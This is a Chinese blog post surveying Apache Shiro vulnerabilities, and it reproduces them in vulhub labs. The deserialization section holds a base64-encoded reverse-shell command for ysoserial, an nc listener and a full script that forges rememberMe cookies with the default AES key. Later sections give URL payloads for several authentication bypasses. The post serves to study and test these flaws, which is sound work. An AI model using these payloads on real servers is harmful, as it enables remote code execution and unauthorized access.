框架、组件漏洞系列4:Apache shiro漏洞汇总

2023-05-16

在这里插入图片描述

一、Apache Shiro 简介

1、什么是shiro

Apache Shiro提供了认证、授权、加密和会话管理功能,将复杂的问题隐藏起来,提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码。并且在实现此目标时无须依赖第三方的框架、容器或服务,当然也能做到与这些环境的整合,使其在任何环境下都可拿来使用。

Shiro将目标集中于Shiro开发团队所称的“四大安全基石”-认证(Authentication)、授权(Authorization)、会话管理(Session Management)和加密(Cryptography):

  • 认证(Authentication):用户身份识别。有时可看作为“登录(login)”,它是用户证明自己是谁的一个行为。
  • 授权(Authorization):访问控制过程,好比决定“认证(who)”可以访问“什么(what)”.
  • 会话管理(SessionManagement):管理用户的会话(sessions),甚至在没有WEB或EJB容器的环境中。管理用户与时间相关的状态。
  • 加密(Cryptography):使用加密算法保护数据更加安全,防止数据被偷窥。

对于任何一个应用程序,Shiro都可以提供全面的安全管理服务。并且相对于其他安全框架,Shiro要简单的多。

详细信息: 百度百科-shiro安全框架

2、历史漏洞信息

详细漏洞信息请参考阿里云漏洞库,部分漏洞信息如下:

  • Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞【CVE-2016-4483】
  • Apache Shiro < 1.3.2 验证绕过漏洞【CVE-2016-2807】
  • Apache Shiro < 1.4.2 cookie oracle padding漏洞 【CVE-2019-12442】
  • Apache Shiro < 1.5.2 验证绕过漏洞 【CVE-2020-1957】
  • Apache Shiro < 1.5.3 验证绕过漏洞 【CVE-2020-11989】
  • Apahce Shiro < 1.6.0 验证绕过漏洞 【CVE-2020-13933】
  • Apahce Shiro < 1.7.1 权限绕过漏洞 【CVE-2020-17523】

3、Shiro框架指纹识别

在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

二、Apache Shiro <= 1.2.4 默认密钥致命令执行漏洞

1、漏洞介绍

漏洞原理: Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。因此该漏洞的关键点就在于找到AES的加密秘钥。

又因为Shiro 1.2.4及之前的版本中,AES加密的密钥默认硬编码在代码里(SHIRO-550),因此对于漏洞利用也产生了更加直接的危害。同很多开源项目也使用了shiro,存在公用AES秘钥的情况,也增加了秘钥泄露的风险。

漏洞分析: 和天网安实验室知乎文章

2、漏洞复现

  • 打开复现环境(使用vulhub docker 搭建),是一个默认的登录框,输入信息,勾选 Remember me,提交,查看返回的数据包,set-Cookie字段存在remenberme=deleteme,熟悉该漏洞的肯定瞬间就乐了,这正是shiro存在反序列化漏洞的经典标志。
    在这里插入图片描述

  • 进行漏洞利用第一步,使用jackson编码反弹shell的命令。
    在这里插入图片描述

  • d第二步:使用ysoserial中JRMP监听模块,监听6666端口。

    执行命令:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3LjEzMi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
    在这里插入图片描述

  • 第三步:使用nc监听攻击机上的7777端口: nc -lvvp 7777

  • 第四步:使用shiro-exploit.py获取shiro的默认key (工具地址:https://github.com/insightglacier/Shiro_exploit)
    在这里插入图片描述

  • 第五步:使用shiro.py生成payload(需要自己改key,shiro.py代码如下:)

    命令:shiro.py 192.168.17.132:6666

    shiro.py:

    import sys
    import uuid
    import base64
    import subprocess
    from Crypto.Cipher import AES
    def encode_rememberme(command):
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
     
    if __name__ == '__main__':
        payload = encode_rememberme(sys.argv[1])   
    print ("rememberMe={0}".format(payload.decode()))
    

    在这里插入图片描述

  • 第六步:登录后抓包,替换数据包中的cookie值为shiro.py生成的rememberMe。
    在这里插入图片描述

  • 反弹sehll成功。
    在这里插入图片描述

三、Apache Shiro < 1.5.2 验证绕过漏洞

1、漏洞介绍

漏洞简介: CVE-2020-1957,Spring Boot中使用Apache Shiro进行身份验证、权限控制时,可以精心构造恶意的URL,利用Apache Shiro和Spring Boot对URL的处理的差异化,可以绕过Apache Shiro对Spring Boot中的Servlet的权限控制,越权并实现未授权访问。

攻击payload: /xxxxx/..;/admin

权限绕过的基本原理: 传入的恶意访问路径/xxxxx/..;/admin,经过shiro校验处理时,会在;处进行截断,对/xxxxx/..路径进行权限校验,而该路径又恰好满足校验规则,从而检验成功后将传入的路径/xxxxx/..;/admin交给spring boot 的控制器进行解析,而spring boot的解析后的路径是访问/admin,从而返回/admin路径下的内容给攻击者,从而实现权限绕过。

**漏洞详细分析: **先知论坛“茜さす”的博客

2、漏洞复现

  • 启用vulhub的CVE-2020-1957的漏洞环境,访问admin路径,跳转到login页面,说明存在权限认证。
    在这里插入图片描述

  • 使用攻击payload /xxxxx/..;/admin 进行访问,成功绕过权限认证,范文到admin路径。
    在这里插入图片描述

四、Apache Shiro < 1.5.3 验证绕过漏洞

1、漏洞介绍

漏洞原理:

和CVE-2020-1957的shiro权限绕过类似,都是由于shiro和springBoot的验证机制差异化导致的。我们在访问一个被不需要鉴权就能访问的页面的时候,如果在后面加上;/一个需要权限的路径,在分号的地方会被shiro截断,从而绕过鉴权。

漏洞分析: 先知论坛 13yxd博客

2、漏洞复现

此处偷个懒,使用CVE-2020-1957的环境进行复现。

我们找一个不需要鉴权的页面进行访问,比如根目录。在其后加上;,再加上一个需要鉴权的目录进行访问(/admin/)。访问结果如下,成功绕过鉴权访问到admin目录:
在这里插入图片描述

五、Apahce Shiro < 1.6.0 验证绕过漏洞

1、漏洞介绍

漏洞原理: Apache Shiro的CVE-2020-11989修补补丁依旧存在缺陷,由于shiro和spring在处理url中仍然存在差别,通过构造特殊的HTTP请求,可以再次绕过授权,访问未授权的信息。其关键点还是在于shiro对URI的处理与Spring对URI处理方式的不同。

此次漏洞的不同点在于,传入一个payload:/admin/%3bpage后,shiro是先url解码再去除;,而spring则相反,是先去除;再进行url解码。因此导致漏洞。

漏洞分析: 先知论坛ELPSYCONGROO的博客

2、漏洞复现

访问漏洞环境(漏洞环境在 http://vulfocus.fofa.so),输入payload为: /admin/%3bxxxx,成功访问到受保护的页面。
在这里插入图片描述

3、漏洞对比

CVE-2020-13933虽然是CVE-2020-11989的绕过,然而两者的绕过内容却不同。

11989针对于/admin/page,这种固定路由,shiro得到的地址为/,因此认为可以访问,Spring得到的地址为/admin/page,从而定位到未授权的页面

13933则是匹配非固定地址路由,比如/admin/{name},因为shiro得到的是/admin/,是个目录,默认是可以访问的,只是该目录下的资源需要验证,而Spring得到的是/admin/;page,如果也采取固定路由,则会因为找不到;page,从而返回404

六、Apahce Shiro < 1.7.1 权限绕过漏洞

1、漏洞介绍

漏洞原理:

和其他shiro权限绕过漏洞一样,其基本原因都是在于其鉴权机制和spring鉴权机制不一样,导致的权限绕过。其被绕过的原因在于,访问一个受限的目录,在其目录后面加上一个空格,成为受限目录/%20/这样的形式的时候,由于shiro在校验时,会删除字符串中的空格,导致匹配失败,该路径就不会进行鉴权。而spring在匹配是,匹配到的就是正常输入的路径 /受限目录/%20 ,就会按照正常逻辑进行响应,造成鉴权绕过。

漏洞分析: jweny的先知社区

2、漏洞复现

漏洞环境: http://vulfocus.fofa.so/

按照payload,访问/admin/%20/,成功绕过鉴权访问到admin页面
在这里插入图片描述

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

框架、组件漏洞系列4:Apache shiro漏洞汇总 的相关文章

  • centos7 yum安装jdk8

    1 安装之前先检查一下系统有没有自带open jdk 命令 xff1a rpm qa grep java rpm qa grep jdk rpm qa grep gcj 如果没有输入信息表示没有安装 2 首先检索包含java的列表 yum
  • 【2021最新版】RabbitMQ面试题总结(32道题含答案解析)

    文章目录 1 什么是rabbitmq xff1f 2 为什么要使用rabbitmq xff1f 3 使用rabbitmq的场景 4 如何确保消息正确地发送至RabbitMQ xff1f 如何确保消息接收方消费了消息 xff1f 5 如何避免
  • 忘记mysql密码后如何修改密码(2022最新版详细教程保姆级)

    忘记mysql密码后如何修改密码 注意事项步骤 注意事项 一共用到两个cmd窗口 xff0c 每一个都要以管理员身份打开 xff0c 且在修改密码后 xff0c 要先关闭第一个跳过验证密码的mysql服务的cmd窗口 xff0c 再启动my
  • 忘记密码时如何修改mysql密码

    前言 近期学习j2ee开发时 xff0c 初步接触MySQL xff0c 偶然发现以往安装MySQL时修改的密码忘记 xff0c 于是查找资料学习了如何在忘记密码的情况下改变MySQL密码 以下为末学个人简介 xff0c 有不周之处 xff
  • 快速入手node.js

    目录 1 什么是 Node js 2 fs模块 3 path模块 4 http 模块 1 IP 地址 2 域名和域名服务器 3 端口号 4 创建 web 服务器的基本步骤 1 什么是 Node js Node js是让Javascript脱
  • 快速掌握 MyBatis 框架(二)

    文章目录 一 前言 1 1 数据库与表1 2 实体类1 3 MyBatisX 插件1 4 SQL 日志查看配置 二 多表查询 2 1 一对一2 2 一对多 三 动态 SQL 使用 3 1 lt if gt 标签3 2 lt trim gt
  • Cesium加载离线地图和离线地形

    文章目录 前言一 Cesium加载离线地图 1 1 下载数据2 2 数据处理2 3 地图发布2 4下载速度改进 二 Cesium加载离线地形 2 1 下载数据2 2 数据处理2 3 地形发布2 4 遇到的问题 前言 直接把地图数据切片 xf
  • Charles抓包显示<unknown>解决方案

    上篇 xff1a Charles抓包微信小程序数据 charles抓包会出现 xff0c 请求前都加了锁 xff0c 具体地址为的情况 解决问题 首先电脑上需要安装charles xff0c 然后需要设置手机上的WiFi设置 xff0c 修
  • Chrome 配置samesite=none方式

    提示 xff1a 文章写完后 xff0c 目录可以自动生成 xff0c 如何生成可参考右边的帮助文档 文章目录 前言二 解决方案 1 方案一 xff1a 修改浏览器配置2 方案二 xff1a 使用Nginx3 方案三 xff1a 若服务器为
  • Chrome插件开发入门

    视频作者 xff1a 猿伙伴的个人空间 哔哩哔哩 bilibili 源码 xff1a https pan baidu com s 1EUOUo6QwHezyddmslyFsJQ 提取码 xff1a xtex 目录 一 第一个插件helloW
  • CISP-PTE真题演示

    周末帮好兄弟做PTE的真题 xff0c 觉得确实挺有意思的 xff0c 于是就有了这篇文章 xff0c 侵删侵删哈 第一阶段 基础题目一 xff1a SQL注入 所谓SQL注入 xff0c 就是通过把SQL命令插入到Web表单提交或输入域名
  • python循环性能pk

    python循环性能pk 在任何一种编程语言中 xff0c 循环都是非常消耗时间的操作 假设任意一种简单的单步操作耗费的时间是1个单位 xff0c 将此操作重复执行上万次 xff0c 最终耗费的时间也将增长上万倍 众所周知 xff0c py
  • Java程序员必读的入门&进阶书单

    外链图片转存失败 源站可能有防盗链机制 建议将图片保存下来直接上传 img lZRiIYGZ 1659350372441 http static chayuqing com edddeb70713efa2da69e953240a5b3ab
  • Java程序员怎样进阶

    对于很多学习Java的程序员来说 xff0c 回过头来看入门Java的过程并不难 xff0c 反而是学到后期感觉没有进步 xff0c 尤其是对于一个进军编程界的两三年的Java程序员来说 xff0c 工作如果还只是增删改查 xff0c 这可
  • java程序员该如何进阶?这份java中高级核心知识全面解析请收好

    Java中高级核心知识全面解析 是整理收录GitHub50K 43 Star以上的高质量学习文档 xff0c 前前后后花了近半个月的时间 xff0c 终于整理而成 包含了Java基础 网络 Linux 数据结构与算法 数据库 系统设计 工具
  • MySQL的 DDL和DML和DQL的基本语法

    前言 SQL语句 xff0c 即结构化查询语言 Structured Query Language xff0c 是一种特殊目的的编程语言 xff0c 是一种数据库查询和程序设计语言 xff0c 用于存取数据以及查询 更新和管理关系数据库系统
  • MySQL的10种常用数据类型

    MySQL的数据类型 常用的数据类型有 xff1a 整型 xff08 xxxint xff09 位类型 bit 浮点型 xff08 float和double real xff09 定点数 xff08 decimal numeric xff0
  • MySQL的DATE_FORMAT()函数将Date转为字符串

    一 前言 最近要做一些报表 xff0c 其中有一个创建报表的时间 xff0c 需要以固定的格式输出 xff1b 那么在SQL层面如何处理呢 xff1f 二 DATE FORMAT 函数 要将日期值格式化为特定格式 xff0c 可以使用DAT
  • MySQL的on duplicate key update 的使用

    mysql的存在就更新不存在就插入实现 先建数据库表 xff0c 重点要添加主键索引 xff08 id列 xff0c 没有测试 xff09 和唯一索引 xff08 branch no列 xff09 xff0c 随便找表测试 INSERT I
  • MySQL的Replace用法详解

    replace into平时在开发中很少用到 xff0c 这次是因为在做一个生成分布式ID的开源项目 xff0c 调研雅虎推出的一个基于数据库生成唯一id生成方案 xff1a flickr 碰到的一个知识盲点 xff0c 仅以此篇记录一下

随机推荐

  • springboot之jar包Linux后台启动部署及滚动日志查看且日志输出至文件保存(超级详细)

    作者 xff1a bug菌 博客 xff1a CSDN 掘金等 公众号 xff1a 猿圈奇妙屋 特别声明 xff1a 原创不易 xff0c 转载请附上原文出处链接和本文声明 xff0c 谢谢配合 版权声明 xff1a 文章里可能部分文字或者
  • SpringBoot之异步方法

    1 Future Future代表异步计算的结果 提供了检查计算是否完成 等待其完成以及检索计算结果的方法 只有在计算完成后 xff0c 才能使用方法get检索结果 xff0c 如有必要 xff0c 将其阻塞 xff0c 直到准备就绪 取消
  • 8大基本数据类型:

    整数 xff1a byte IO流 文件输入输出 文件上传下载 数据保存硬盘 short 基本没卵用 int 大部分的整数 年龄 工作年限 long 比int大 浮点型 xff08 小数 xff09 xff1a float 基本没卵用 do
  • SpringBoot之自动装配原理

    1 自动装配的使用 Spring Boot的核心理念是简化Spring应用的搭建和开发过程 xff0c 提出了约定大于配置和自动装配的思想 开发Spring项目通常要配置xml文件 xff0c 当项目变得复杂的时候 xff0c xml的配置
  • SpringBoot使用AOP记录接口操作日志

    前言 xff1a 我们项目中可能有这种需求 xff0c 每个人请求了哪些接口 xff1f 做了什么事情 xff1f 参数是什么 xff1f 重要的接口我们需要记录操作日志以便查找 操作日志和系统日志不一样 xff0c 操作日志必须要做到简单
  • 修改Tomcat默认访问根目录

    Tomcat安装后 xff0c Tomcat的主目录是webapps root目录 在conf文件夹下面找到server xml 配置文件打开 在 中间添加一行 docBase即为默认访问的文件夹名称 Tomcat默认访问目录就是webap
  • 吐血整理 20 道 Spring Boot 面试题,我经常拿来面试别人

    面试了一些人 xff0c 简历上都说自己熟悉 Spring Boot 或者说正在学习 Spring Boot xff0c 一问他们时 xff0c 都只停留在简单的使用阶段 xff0c 很多东西都不清楚 xff0c 也让我对面试者大失所望 下
  • 大数据技术之hadoop——(四)历史服务器+常用脚本

    文章目录 前言 一 配置历史服务器 二 日志聚集 三 集群的停止与启动 四 常用脚本 五 常用端口号 前言 上一篇我们已经将hadoop完全分布式集群搭建完毕 xff0c 这一篇则作为完全分布式集群的补全操作 一 配置历史服务器 为了查看程
  • 富士康Java开发面试题目

    int leapyear int y 计算润年 if y 40 amp amp y 100 61 0 y 61 100 amp amp y 4000 return 1 else return 0 int day calculate int
  • 手把手教程SpringCloud gateway 结合nacos实现路由转发

    1 使用IDEA创建spring项目 xff0c JDK1 8 xff0c 无需添加依赖 2 添加spring cloud gateway和nacos lt dependencyManagement gt lt dependencies g
  • Dubbo服务降级

    dubbo降级服务 使用dubbo在进行服务调用时 xff0c 可能由于各种原因 xff08 服务器宕机 网络超时 并发数太高等 xff09 xff0c 调用中就会出现RpcException xff0c 调用失败 服务降级就是指在由于非业
  • JVM、JRE、JDK之间的联系与区别

    JVM JRE JDK之间的联系与区别 JVM xff08 Java Virtual Machine xff09 JVM xff08 Java虚拟机 xff09 是一个可执行Java字节码的虚拟机进程 用于解析编译后的字节码文件 JVM屏蔽
  • maven安装及配置

    maven安装及配置 xff08 详细版 xff09 1 下载 xff1a 可以从官方下载 xff0c 下载页面 xff1a http maven apache org download cgi 2 安装 xff1a maven压缩包解压到
  • 类加载的顺序

    1 父类静态对象和静态代码块 2 子类静态对象和静态代码块 3 父类非静态对象和非静态代码块 4 父类构造函数 5 子类 非静态对象和非静态代码块 6 子类构造函数
  • Java多线程之~~~~使用wait和notify实现生产者消费者模型

    在多线程开发中 xff0c 最经典的一个模型就是生产者消费者模型 xff0c 他们有一个缓冲区 xff0c 缓冲区有最大限制 xff0c 当缓冲区满 的时候 xff0c 生产者是不能将产品放入到缓冲区里面的 xff0c 当然 xff0c 当
  • 输入若干成绩(负数结束),计算平均值

    include lt stdio h gt define N 6 main float a N int i count 61 0 float sum 61 0 average for i 61 0 i lt N i 43 43 scanf
  • rabbitmq重启

    rabbitmqctl stop xff1a 停止rabbitmq rabbitmq server restart 重启rabbitmq
  • spring项目找不到Aspect注依赖注解

    昨天写一个项目的时候在使用Aspect时一直找不到依赖 xff0c alt 43 enter自动添加Maven依赖还是解决不了问题 上网找了资料才解决 xff0c 但是我现在忘了是参照哪个资料了 xff0c 不能写出参照网址 xff0c 实
  • 总结一下mybatis返回结果为空

    今天写mybatis的时候遇到了返回结果为空的现象 xff0c 找了半天 xff0c 决定记录一下 1 可能是字段的问题 数据库中的字段 xff1a user name xff0c user id java中的实体类 xff1a userN
  • 框架、组件漏洞系列4:Apache shiro漏洞汇总

    一 Apache Shiro 简介 1 什么是shiro Apache Shiro提供了认证 授权 加密和会话管理功能 xff0c 将复杂的问题隐藏起来 xff0c 提供清晰直观的API使开发者可以很轻松地开发自己的程序安全代码 并且在实现